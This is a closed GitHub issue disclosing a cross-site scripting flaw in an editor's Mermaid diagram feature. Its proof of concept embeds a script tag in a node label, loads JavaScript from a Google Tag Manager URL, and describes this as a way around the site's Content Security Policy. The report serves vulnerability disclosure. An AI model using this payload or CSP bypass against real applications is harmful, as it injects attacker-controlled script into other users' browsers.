-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Closed
Labels
securityupstreamThis issue belongs to a library or component outsideThis issue belongs to a library or component outside
Description
Hi,
I found a XSS issue in the editor. The XSS lies in the Mermaid feature.
The following is the PoC, you can also check it here.
graph TD
A[<script src=https://www.google-analytics.com/gtm/js?id=GTM-TQ6RV7G ></script>] -->|Get money| B(Go shopping)
B --> C{Let me think}
C -->|One| D[Laptop]
C -->|Two| E[iPhone]
C -->|Three| F[fa:fa-car Car]
The editor renders the script tag in the html and I can bypass the CSP using google-analytics as shows in this link.
Metadata
Metadata
Assignees
Labels
securityupstreamThis issue belongs to a library or component outsideThis issue belongs to a library or component outside